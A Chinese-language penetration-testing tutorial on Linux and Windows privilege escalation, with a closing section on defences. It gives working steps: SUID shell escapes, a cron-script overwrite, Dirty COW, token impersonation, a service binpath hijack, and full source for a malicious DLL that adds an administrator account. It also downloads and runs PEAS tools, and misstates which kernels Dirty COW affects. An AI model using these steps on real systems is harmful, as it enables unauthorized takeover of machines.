权限提升(Privilege Escalation)是渗透测试中的关键环节,指攻击者在获得初始低权限访问后, 通过各种技术手段获取更高权限(如root或SYSTEM)的过程。成功的权限提升可以让攻击者完全控制系统, 访问敏感数据并建立持久化后门。
提权风险提醒
权限提升操作具有一定风险,不当的操作可能导致系统不稳定甚至崩溃。
在进行提权测试时,务必:
• 充分了解目标环境
• 备份重要数据
• 使用稳定的提权方法
• 及时清理测试痕迹
一、Linux权限提升
1.1 SUID提权
SUID(Set User ID)是一种特殊权限,允许用户以文件所有者的权限执行文件。 如果配置不当,可能成为提权的突破口。
SUID提权流程
# 查找具有SUID权限的文件
find / -perm -4000 2>/dev/null
# 常见可利用的SUID二进制文件
/usr/bin/find
/usr/bin/vim
/usr/bin/nmap
/usr/bin/awk
/bin/bash
# 利用find进行提权
find . -exec /bin/sh -p \; -quit
# 利用vim进行提权
vim -c ':shell'
# 利用nmap进行提权
nmap --interactive
nmap> !sh
1.2 内核漏洞提权
利用操作系统内核中的已知漏洞进行提权是最直接的方法,但也最容易被补丁修复。
信息收集
# 系统信息
uname -a
cat /etc/os-release
# 内核版本
cat /proc/version
# 已安装软件
dpkg -l | grep linux
漏洞搜索
# 使用searchsploit
searchsploit linux kernel 4.4 priv esc
# 在线搜索
https://www.exploit-db.com/
https://github.com/lucyoa/kernel-exploits
漏洞利用
# Dirty COW (CVE-2016-5195)
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
# CVE-2017-16995
./exp CVE-2017-16995
1.3 计划任务提权
通过分析系统的计划任务(cron jobs)寻找提权机会。
计划任务提权方法
# 查看可写的计划任务
ls -la /etc/cron*
cat /etc/crontab
# 查看用户计划任务
crontab -l
ls -la /var/spool/cron/crontabs/
# 利用可写脚本
# 如果发现一个root用户的计划任务执行/tmp/script.sh
# 且该文件可写,则可以修改为:
echo '#!/bin/bash' > /tmp/script.sh
echo 'chmod u+s /bin/bash' >> /tmp/script.sh
chmod +x /tmp/script.sh
# 等待计划任务执行后
/bin/bash -p
二、Windows权限提升
2.1 令牌窃取
Windows系统中的访问令牌包含了用户的安全上下文,窃取高权限令牌可以实现提权。
令牌操作示例
// 使用Incognito窃取令牌
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"
// 使用Mimikatz进行令牌操作
mimikatz # token::elevate
mimikatz # token::whoami
// 使用Juicy Potato (适用于Windows Server 2012 R2及以下)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
2.2 服务提权
利用系统服务配置错误进行提权是Windows环境中常见的提权方法。
服务信息收集
REM 查看所有服务
sc query state= all
REM 查看服务配置
sc qc servicename
REM 查看可修改的服务
accesschk.exe -uwcqv "Authenticated Users" *
REM PowerShell查看服务
Get-WmiObject -Class Win32_Service | Where-Object {$_.State -eq "Running"}
服务配置修改
REM 修改服务二进制路径
sc config servicename binpath= "C:\temp\reverse.exe"
REM 重启服务
sc stop servicename
sc start servicename
REM 或者使用PowerShell
Set-Service -Name servicename -StartupType Manual
Restart-Service -Name servicename
2.3 DLL劫持
DLL劫持是指应用程序在加载DLL时,由于搜索顺序问题加载了攻击者提供的恶意DLL。
DLL劫持检测与利用
# 使用Process Monitor检测DLL加载
Procmon.exe
# 筛选条件: Path ends with .dll AND Result is NAME NOT FOUND
# 创建恶意DLL (示例)
// malicious.cpp
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
WinExec("net user hackhub HackHub@2025 /add", 0);
WinExec("net localgroup administrators hackhub /add", 0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
# 编译DLL
g++ -shared -o vulnerable.dll malicious.cpp
三、自动化提权工具
LinPEAS
Linux权限提升自动化脚本,全面检查系统提权点
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
WinPEAS
Windows权限提升自动化工具,检查各类提权向量
certutil -urlcache -split -f "https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASx64.exe" winpeas.exe
winpeas.exe
PowerUp
PowerShell脚本,专门用于Windows服务提权检查
Import-Module .\PowerUp.ps1
Invoke-AllChecks
Watson
Windows内核漏洞检测工具,识别可利用的补丁缺失
watson.exe
四、提权实战案例
Linux SUID提权案例
在某Linux服务器测试中,发现/usr/bin/find具有SUID权限且可被普通用户执行。 通过find命令的-exec参数直接执行/bin/sh,成功获得root shell。
Windows服务提权案例
在Windows Server 2016环境中,发现一个以SYSTEM权限运行的服务, 其二进制文件路径可被普通用户修改。通过替换为恶意exe文件,重启服务后获得SYSTEM权限。
内核漏洞提权案例
针对Ubuntu 16.04系统,利用Dirty COW漏洞(CVE-2016-5195)成功提权。 该漏洞存在于Linux内核3.18及更高版本中,影响范围广泛。
五、防御与缓解措施
Linux防御措施
- 最小化SUID权限:定期审计SUID文件,移除不必要的SUID权限
- 及时更新内核:保持系统内核和软件包处于最新状态
- 限制计划任务:严格控制cron任务的权限和执行路径
- 启用SELinux/AppArmor:使用强制访问控制增强系统安全
- 监控异常行为:部署系统完整性监控工具
Windows防御措施
- 最小化服务权限:以最低必要权限运行服务
- 启用UAC:保持用户账户控制处于启用状态
- 定期更新补丁:及时安装安全更新和补丁
- 配置AppLocker:限制可执行文件的运行
- 启用WDATP:使用Windows Defender ATP进行威胁检测